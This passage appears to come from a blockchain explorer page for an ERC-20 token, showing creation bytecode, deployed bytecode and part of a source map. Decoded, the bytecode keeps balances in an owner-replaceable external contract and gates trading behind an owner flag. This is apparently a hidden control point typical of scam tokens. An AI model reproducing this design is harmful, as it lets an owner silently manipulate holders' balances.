506040513d601f19601f82011682018060405250810190610cc59190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610d2c575060408051601f3d908101601f19168201909252610d2991810190611be7565b60015b610d66573d808015610d5a576040519150601f19603f3d011682016040523d82523d6000602084013e610d5f565b606091505b5050610f08565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e649190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610eaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed39190611be7565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b6109ad338484611240565b6000546001600160a01b03163314610f3d5760405162461bcd60e51b8152600401610ac290611c1d565b600d80546001600160a01b0383166001600160a01b03199091168117909155633825d828610f736000546001600160a01b031690565b6004546040518363ffffffff1660e01b8152600401610fa79291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015610fc157600080fd5b505af1158015610fd5573d6000803e3d6000fd5b50505050610fe03390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405161102791815260200190565b60405180910390a350565b6000546001600160a01b0316331461105c5760405162461bcd60e51b8152600401610ac290611c1d565b6001600160a01b0381166110c15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ac2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661117e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ac2565b6001600160a01b0382166111df5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ac2565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811662010000909204161480159061127557506000546001600160a01b03858116911614155b801561129a57506001600160a01b0384166000908152600a602052604090205460ff16155b156112ef5760075460ff1615156000036112ef5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ac2565b600d546040516330af0bbf60e21b81526001600160a01b038681166004830152600092169063c2bc2efc90602401602060405180830381865afa15801561133a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135e9190611c04565b600d546040516330af0bbf60e21b81526001600160a01b0387811660048301529293506000929091169063c2bc2efc90602401602060405180830381865afa1580156113ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d29190611c04565b90506001600160a01b0386166114385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ac2565b6001600160a01b03851661149a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ac2565b604080518082019091526014815273496e73756666696369656e742042616c616e636560601b60208201526114d2908390869061165f565b6001600160a01b0387166000908152600a60205260408120549193509060ff168061151557506001600160a01b0386166000908152600a602052604090205460ff165b61152957611524878787611741565b61152b565b845b905061153782826116e2565b600d54604051630704bb0560e31b81526001600160a01b038a8116600483015260248201879052929450911690633825d82890604401600060405180830381600087803b15801561158757600080fd5b505af115801561159b573d6000803e3d6000fd5b5050600d54604051630704bb0560e31b81526001600160a01b038a81166004830152602482018790529091169250633825d8289150604401600060405180830381600087803b1580156115ed57600080fd5b505af1158015611601573d6000803e3d6000fd5b50505050856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161164a91815260200190565b60405180910390a35060019695505050505050565b600081848411156116835760405162461bcd60e51b8152600401610ac29190611ab9565b5060006116908486611c68565b95945050505050565b60006116db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165f565b9392505050565b6000806116ef8385611c7b565b9050838110156116db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ac2565b600d546040516330af0bbf60e21b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166004830152600092839283929091169063c2bc2efc90602401602060405180830381865afa1580156117b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d69190611c04565b6007549091506001600160a01b03808816620100009092041603611830576118296064611823867f0000000000000000000000000000000000000000000000000000000000000000611997565b90611a19565b915061187d565b6007546001600160a01b0380871662010000909204160361187d5761187a6064611823867f0000000000000000000000000000000000000000000000000000000000000000611997565b91505b81156119835761188d81836116e2565b600d54604051630704bb0560e31b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000008116600483015260248201849052929350911690633825d82890604401600060405180830381600087803b1580156118fd57600080fd5b505af1158015611911573d6000803e3d6000fd5b505050507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161197a91815260200190565b60405180910390a35b61198d8483611699565b9695505050505050565b6000826000036119a9575060006105f3565b60006119b58385611c8e565b9050826119c28583611cad565b146116db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ac2565b60006116db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611a775760405162461bcd60e51b8152600401610ac29190611ab9565b5060006116908486611cad565b6001600160a01b0381168114611a9957600080fd5b50565b600060208284031215611aae57600080fd5b81356116db81611a84565b600060208083528351808285015260005b81811015611ae657858101830151858201604001528201611aca565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611b1a57600080fd5b8235611b2581611a84565b946020939093013593505050565b600080600060608486031215611b4857600080fd5b8335611b5381611a84565b92506020840135611b6381611a84565b929592945050506040919091013590565b60008060408385031215611b8757600080fd5b8235611b9281611a84565b91506020830135611ba281611a84565b809150509250929050565b600181811c90821680611bc157607f821691505b602082108103611be157634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215611bf957600080fd5b81516116db81611a84565b600060208284031215611c1657600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156105f3576105f3611c52565b808201808211156105f3576105f3611c52565b6000816000190483118215151615611ca857611ca8611c52565b500290565b600082611cca57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204a216a33f32b94f3b9fda7a1cf6234eb1e6a2ce010e81c86c876a8357030bf1664736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101855760003560e01c80637b4afd65116100d1578063bb29998e1161008a578063cf9d4afa11610064578063cf9d4afa146104aa578063dd62ed3e146104ca578063de795edd14610510578063f2fde38b1461053057600080fd5b8063bb29998e14610423578063c816841b14610450578063ca9ec1991461047657600080fd5b80637b4afd651461037b5780638da5cb5b14610390578063958c2e52146103ae57806395d89b41146103ce578063a457c2d7146103e3578063a9059cbb1461040357600080fd5b80632b112e491161013e5780633eaaf86b116101185780633eaaf86b146102fa57806342a110951461031057806370a0823114610344578063715018a61461036457600080fd5b80632b112e49146102a3578063313ce567146102b857806339509351146102da57600080fd5b80630461ee0d1461019157806306fdde03146101d6578063095ea7b3146101f857806318160ddd1461021857806323b872dd1461023757806327c8f8351461025757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101c16101ac366004611a9c565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156101e257600080fd5b506101eb610550565b6040516101cd9190611ab9565b34801561020457600080fd5b506101c1610213366004611b07565b6105e2565b34801561022457600080fd5b506004545b6040519081526020016101cd565b34801561024357600080fd5b506101c1610252366004611b33565b6105f9565b34801561026357600080fd5b5061028b7f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101cd565b3480156102af57600080fd5b506102296109b7565b3480156102c457600080fd5b5060035460405160ff90911681526020016101cd565b3480156102e657600080fd5b506101c16102f5366004611b07565b6109f3565b34801561030657600080fd5b5061022960045481565b34801561031c57600080fd5b506102297f000000000000000000000000000000000000000000000000000000000000000481565b34801561035057600080fd5b5061022961035f366004611a9c565b610a29565b34801561037057600080fd5b50610379610a98565b005b34801561038757600080fd5b50610379610b1b565b34801561039c57600080fd5b506000546001600160a01b031661028b565b3480156103ba57600080fd5b50600c5461028b906001600160a01b031681565b3480156103da57600080fd5b506101eb610b54565b3480156103ef57600080fd5b506101c16103fe366004611b07565b610b63565b34801561040f57600080fd5b506101c161041e366004611b07565b610bb2565b34801561042f57600080fd5b5061022961043e366004611a9c565b60096020526000908152604090205481565b34801561045c57600080fd5b5060075461028b906201000090046001600160a01b031681565b34801561048257600080fd5b506102297f000000000000000000000000000000000000000000000000000000000000000281565b3480156104b657600080fd5b506103796104c5366004611a9c565b610f13565b3480156104d657600080fd5b506102296104e5366004611b74565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561051c57600080fd5b5060085461028b906001600160a01b031681565b34801561053c57600080fd5b5061037961054b366004611a9c565b611032565b60606005805461055f90611bad565b80601f016020809104026020016040519081016040528092919081815260200182805461058b90611bad565b80156105d85780601f106105ad576101008083540402835291602001916105d8565b820191906000526020600020905b8154815290600101906020018083116105bb57829003601f168201915b5050505050905090565b60006105ef33848461111c565b5060015b92915050565b600754600090610100900460ff161515810361094f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610662573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106869190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c9190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610773575060408051601f3d908101601f1916820190925261077091810190611be7565b60015b6107ad573d8080156107a1576040519150601f19603f3d011682016040523d82523d6000602084013e6107a6565b606091505b505061094f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108259190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610887573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ab9190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091a9190611be7565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61095a848484611240565b506109ad84336109a885604051806060016040528060288152602001611cd0602891396001600160a01b038a166000908152600b60209081526040808320338452909152902054919061165f565b61111c565b5060019392505050565b60006109ee6109e57f000000000000000000000000000000000000000000000000000000000000dead610a29565b60045490611699565b905090565b336000818152600b602090815260408083206001600160a01b038716845290915281205490916105ef9185906109a890866116e2565b600d546040516330af0bbf60e21b81526001600160a01b038381166004830152600092169063c2bc2efc90602401602060405180830381865afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f39190611c04565b6000546001600160a01b03163314610acb5760405162461bcd60e51b8152600401610ac290611c1d565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610b455760405162461bcd60e51b8152600401610ac290611c1d565b6007805460ff19166001179055565b60606006805461055f90611bad565b60006105ef33846109a885604051806060016040528060258152602001611cf860259139336000908152600b602090815260408083206001600160a01b038d168452909152902054919061165f565b600754600090610100900460ff1615158103610f0857600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3f9190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc59190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610d2c575060408051601f3d908101601f19168201909252610d2991810190611be7565b60015b610d66573d808015610d5a576040519150601f19603f3d011682016040523d82523d6000602084013e610d5f565b606091505b5050610f08565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e649190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610eaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed39190611be7565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b6109ad338484611240565b6000546001600160a01b03163314610f3d5760405162461bcd60e51b8152600401610ac290611c1d565b600d80546001600160a01b0383166001600160a01b03199091168117909155633825d828610f736000546001600160a01b031690565b6004546040518363ffffffff1660e01b8152600401610fa79291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015610fc157600080fd5b505af1158015610fd5573d6000803e3d6000fd5b50505050610fe03390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405161102791815260200190565b60405180910390a350565b6000546001600160a01b0316331461105c5760405162461bcd60e51b8152600401610ac290611c1d565b6001600160a01b0381166110c15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ac2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661117e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ac2565b6001600160a01b0382166111df5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ac2565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811662010000909204161480159061127557506000546001600160a01b03858116911614155b801561129a57506001600160a01b0384166000908152600a602052604090205460ff16155b156112ef5760075460ff1615156000036112ef5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ac2565b600d546040516330af0bbf60e21b81526001600160a01b038681166004830152600092169063c2bc2efc90602401602060405180830381865afa15801561133a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135e9190611c04565b600d546040516330af0bbf60e21b81526001600160a01b0387811660048301529293506000929091169063c2bc2efc90602401602060405180830381865afa1580156113ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d29190611c04565b90506001600160a01b0386166114385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ac2565b6001600160a01b03851661149a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ac2565b604080518082019091526014815273496e73756666696369656e742042616c616e636560601b60208201526114d2908390869061165f565b6001600160a01b0387166000908152600a60205260408120549193509060ff168061151557506001600160a01b0386166000908152600a602052604090205460ff165b61152957611524878787611741565b61152b565b845b905061153782826116e2565b600d54604051630704bb0560e31b81526001600160a01b038a8116600483015260248201879052929450911690633825d82890604401600060405180830381600087803b15801561158757600080fd5b505af115801561159b573d6000803e3d6000fd5b5050600d54604051630704bb0560e31b81526001600160a01b038a81166004830152602482018790529091169250633825d8289150604401600060405180830381600087803b1580156115ed57600080fd5b505af1158015611601573d6000803e3d6000fd5b50505050856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161164a91815260200190565b60405180910390a35060019695505050505050565b600081848411156116835760405162461bcd60e51b8152600401610ac29190611ab9565b5060006116908486611c68565b95945050505050565b60006116db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165f565b9392505050565b6000806116ef8385611c7b565b9050838110156116db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ac2565b600d546040516330af0bbf60e21b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead81166004830152600092839283929091169063c2bc2efc90602401602060405180830381865afa1580156117b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d69190611c04565b6007549091506001600160a01b03808816620100009092041603611830576118296064611823867f0000000000000000000000000000000000000000000000000000000000000004611997565b90611a19565b915061187d565b6007546001600160a01b0380871662010000909204160361187d5761187a6064611823867f0000000000000000000000000000000000000000000000000000000000000002611997565b91505b81156119835761188d81836116e2565b600d54604051630704bb0560e31b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead8116600483015260248201849052929350911690633825d82890604401600060405180830381600087803b1580156118fd57600080fd5b505af1158015611911573d6000803e3d6000fd5b505050507f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161197a91815260200190565b60405180910390a35b61198d8483611699565b9695505050505050565b6000826000036119a9575060006105f3565b60006119b58385611c8e565b9050826119c28583611cad565b146116db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ac2565b60006116db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611a775760405162461bcd60e51b8152600401610ac29190611ab9565b5060006116908486611cad565b6001600160a01b0381168114611a9957600080fd5b50565b600060208284031215611aae57600080fd5b81356116db81611a84565b600060208083528351808285015260005b81811015611ae657858101830151858201604001528201611aca565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611b1a57600080fd5b8235611b2581611a84565b946020939093013593505050565b600080600060608486031215611b4857600080fd5b8335611b5381611a84565b92506020840135611b6381611a84565b929592945050506040919091013590565b60008060408385031215611b8757600080fd5b8235611b9281611a84565b91506020830135611ba281611a84565b809150509250929050565b600181811c90821680611bc157607f821691505b602082108103611be157634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215611bf957600080fd5b81516116db81611a84565b600060208284031215611c1657600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156105f3576105f3611c52565b808201808211156105f3576105f3611c52565b6000816000190483118215151615611ca857611ca8611c52565b500290565b600082611cca57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204a216a33f32b94f3b9fda7a1cf6234eb1e6a2ce010e81c86c876a8357030bf1664736f6c63430008100033

Deployed Bytecode Sourcemap

21242:6265:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21845:44;;;;;;;;;;-1:-1:-1;21845:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;21845:44:0;;;;;;;;23327:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;26780:161::-;;;;;;;;;;-1:-1:-1;26780:161:0;;;;;:::i;:::-;;:::i;23604:100::-;;;;;;;;;;-1:-1:-1;23684:12:0;;23604:100;;;1613:25:1;;;1601:2;1586:18;23604:100:0;1467:177:1;24238:660:0;;;;;;;;;;-1:-1:-1;24238:660:0;;;;;:::i;:::-;;:::i;21325:81::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2274:32:1;;;2256:51;;2244:2;2229:18;21325:81:0;2110:203:1;27372:128:0;;;;;;;;;;;;;:::i;23513:83::-;;;;;;;;;;-1:-1:-1;23579:9:0;;23513:83;;23579:9;;;;2460:36:1;;2448:2;2433:18;23513:83:0;2318:184:1;26240:218:0;;;;;;;;;;-1:-1:-1;26240:218:0;;;;;:::i;:::-;;:::i;21413:60::-;;;;;;;;;;;;;;;;21480:35;;;;;;;;;;;;;;;25953:128;;;;;;;;;;-1:-1:-1;25953:128:0;;;;;:::i;:::-;;:::i;12731:230::-;;;;;;;;;;;;;:::i;:::-;;26949:70;;;;;;;;;;;;;:::i;12627:79::-;;;;;;;;;;-1:-1:-1;12665:7:0;12692:6;-1:-1:-1;;;;;12692:6:0;12627:79;;21972:37;;;;;;;;;;-1:-1:-1;21972:37:0;;;;-1:-1:-1;;;;;21972:37:0;;;23418:87;;;;;;;;;;;;;:::i;26466:269::-;;;;;;;;;;-1:-1:-1;26466:269:0;;;;;:::i;:::-;;:::i;23712:518::-;;;;;;;;;;-1:-1:-1;23712:518:0;;;;;:::i;:::-;;:::i;21798:40::-;;;;;;;;;;-1:-1:-1;21798:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;21703:26;;;;;;;;;;-1:-1:-1;21703:26:0;;;;;;;-1:-1:-1;;;;;21703:26:0;;;21522:37;;;;;;;;;;;;;;;22393:221;;;;;;;;;;-1:-1:-1;22393:221:0;;;;;:::i;:::-;;:::i;26089:143::-;;;;;;;;;;-1:-1:-1;26089:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;26197:18:0;;;26170:7;26197:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;26089:143;21769:20;;;;;;;;;;-1:-1:-1;21769:20:0;;;;-1:-1:-1;;;;;21769:20:0;;;12975:244;;;;;;;;;;-1:-1:-1;12975:244:0;;;;;:::i;:::-;;:::i;23327:83::-;23364:13;23397:5;23390:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23327:83;:::o;26780:161::-;26855:4;26872:39;10500:10;26895:7;26904:6;26872:8;:39::i;:::-;-1:-1:-1;26929:4:0;26780:161;;;;;:::o;24238:660::-;24356:4;;24336;;24356;;;;;:11;;;;24353:337;;24405:11;;;;;;;;;-1:-1:-1;;;;;24405:11:0;-1:-1:-1;;;;;24405:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;24387:48:0;;24444:4;24451:11;;;;;;;;;-1:-1:-1;;;;;24451:11:0;-1:-1:-1;;;;;24451:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24387:83;;-1:-1:-1;;;;;;24387:83:0;;;;;;;-1:-1:-1;;;;;4006:15:1;;;24387:83:0;;;3988:34:1;4058:15;;4038:18;;;4031:43;3923:18;;24387:83:0;;;;;;;;;;;;;;;;;;-1:-1:-1;24387:83:0;;;;;;;;-1:-1:-1;;24387:83:0;;;;;;;;;;;;:::i;:::-;;;24383:296;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24644:35;24383:296;;;;24521:11;;;;;;;;;-1:-1:-1;;;;;24521:11:0;-1:-1:-1;;;;;24521:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;24503:48:0;;24560:4;24567:11;;;;;;;;;-1:-1:-1;;;;;24567:11:0;-1:-1:-1;;;;;24567:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24503:83;;-1:-1:-1;;;;;;24503:83:0;;;;;;;-1:-1:-1;;;;;4006:15:1;;;24503:83:0;;;3988:34:1;4058:15;;4038:18;;;4031:43;3923:18;;24503:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24489:11;:97;;-1:-1:-1;;;;;;;24489:97:0;;;;;;24605:9;;;;-1:-1:-1;;;;;;24605:9:0;;;;;;;24489:97;24605:9;;;24383:296;24700:36;24710:6;24718:9;24729:6;24700:9;:36::i;:::-;-1:-1:-1;24747:121:0;24756:6;10500:10;24778:89;24816:6;24778:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;24778:19:0;;;;;;:11;:19;;;;;;;;10500:10;24778:33;;;;;;;;;;:37;:89::i;:::-;24747:8;:121::i;:::-;-1:-1:-1;24886:4:0;24238:660;;;;;:::o;27372:128::-;27425:7;27452:40;27469:22;27479:11;27469:9;:22::i;:::-;27452:12;;;:16;:40::i;:::-;27445:47;;27372:128;:::o;26240:218::-;10500:10;26328:4;26377:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;26377:34:0;;;;;;;;;;26328:4;;26345:83;;26368:7;;26377:50;;26416:10;26377:38;:50::i;25953:128::-;26046:14;;:27;;-1:-1:-1;;;26046:27:0;;-1:-1:-1;;;;;2274:32:1;;;26046:27:0;;;2256:51:1;26019:7:0;;26046:14;;:18;;2229::1;;26046:27:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;12731:230::-;12378:6;;-1:-1:-1;;;;;12378:6:0;10500:10;12378:22;12370:67;;;;-1:-1:-1;;;12370:67:0;;;;;;;:::i;:::-;;;;;;;;;12822:6:::1;::::0;;12801:81:::1;::::0;12838:42:::1;::::0;-1:-1:-1;;;;;12822:6:0;;::::1;::::0;12801:81:::1;::::0;::::1;12893:6;:60:::0;;-1:-1:-1;;;;;;12893:60:0::1;12910:42;12893:60;::::0;;12731:230::o;26949:70::-;12378:6;;-1:-1:-1;;;;;12378:6:0;10500:10;12378:22;12370:67;;;;-1:-1:-1;;;12370:67:0;;;;;;;:::i;:::-;27000:6:::1;:11:::0;;-1:-1:-1;;27000:11:0::1;27007:4;27000:11;::::0;;26949:70::o;23418:87::-;23457:13;23490:7;23483:14;;;;;:::i;26466:269::-;26559:4;26576:129;10500:10;26599:7;26608:96;26647:15;26608:96;;;;;;;;;;;;;;;;;10500:10;26608:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;26608:34:0;;;;;;;;;;;;:38;:96::i;23712:518::-;23810:4;;23790;;23810;;;;;:11;;;;23807:337;;23859:11;;;;;;;;;-1:-1:-1;;;;;23859:11:0;-1:-1:-1;;;;;23859:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23841:48:0;;23898:4;23905:11;;;;;;;;;-1:-1:-1;;;;;23905:11:0;-1:-1:-1;;;;;23905:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23841:83;;-1:-1:-1;;;;;;23841:83:0;;;;;;;-1:-1:-1;;;;;4006:15:1;;;23841:83:0;;;3988:34:1;4058:15;;4038:18;;;4031:43;3923:18;;23841:83:0;;;;;;;;;;;;;;;;;;-1:-1:-1;23841:83:0;;;;;;;;-1:-1:-1;;23841:83:0;;;;;;;;;;;;:::i;:::-;;;23837:296;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24098:35;23837:296;;;;23975:11;;;;;;;;;-1:-1:-1;;;;;23975:11:0;-1:-1:-1;;;;;23975:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;